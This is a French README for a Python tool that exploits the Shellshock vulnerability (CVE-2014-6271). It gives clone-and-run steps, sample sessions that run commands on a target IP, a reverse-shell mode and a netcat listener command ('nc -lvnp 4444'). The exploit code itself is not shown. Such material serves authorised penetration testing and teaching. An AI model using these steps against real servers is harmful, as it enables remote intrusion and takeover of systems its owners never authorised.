CVE-2014-6271-SHELLSHOCK

🐚 Script d'exploitation Shellshock 🎯💻🔍

Ce script Python exploite la vulnérabilité Shellshock (CVE-2014-6271) pour exécuter des commandes à distance ou établir un reverse shell sur une cible vulnérable. 🛠️⚠️

---

⚠ Avertissement 🚨❗

Ce script est destiné uniquement à des fins éducatives et à des tests de pénétration autorisés. Toute utilisation non autorisée contre des systèmes pour lesquels vous n'avez pas la permission explicite de tester est illégale et contraire à l'éthique. Obtenez toujours une autorisation appropriée avant d'effectuer un test de sécurité. ⚠️🛑🚔

---

🔥 Fonctionnalités

• Exécuter des commandes arbitraires sur un système vulnérable à l'aide de l'exploit Shellshock.
• Établir une connexion reverse shell vers la machine de l'attaquant.

---

📌 Prérequis 🎓

• Un système vulnérable à Shellshock (par exemple, un serveur Apache obsolète avec CGI activé).
• Python 3 installé.
• curl installé sur votre système.

---

📥 Installation

Clonez le dépôt :

git clone https://github.com/YunchoHang/CVE-2014-6271-SHELLSHOCK.git
cd CVE-2014-6271-SHELLSHOCK

---

🚀 Utilisation

Exécutez le script :

python3 AutoShocker.py

🔘 Options

1. Exécuter des commandes avec curl – Permet d'exécuter des commandes arbitraires sur la machine cible.
2. Obtenir un reverse shell – Établit une connexion reverse shell vers votre machine d'attaque.

💡 Exemple d'utilisation

Exécution de commandes :

python3 AutoShocker.py
Enter the target IP: 192.168.1.100
Choose an option (1 or 2): 1
Enter the commands you want to execute: whoami && id

Reverse Shell :

python3 AutoShocker.py
Enter the target IP: 192.168.1.100
Choose an option (1 or 2): 2
Enter your IP (listener): 192.168.1.200
Enter the port for reverse shell (e.g., 4444): 4444

Démarrez votre listener sur votre machine :

nc -lvnp 4444

---

⚠ Avertissement

• N'utilisez pas cet outil pour un accès non autorisé.
• L'utiliser sur une machine que vous n'avez pas la permission de tester est illégal.
• Assurez-vous d'avoir une autorisation explicite avant d'exécuter des tests de sécurité.

---

📜 Licence

Ce projet est destiné uniquement à des fins éducatives. L'auteur n'est pas responsable de toute mauvaise utilisation. 📖⚠️🔍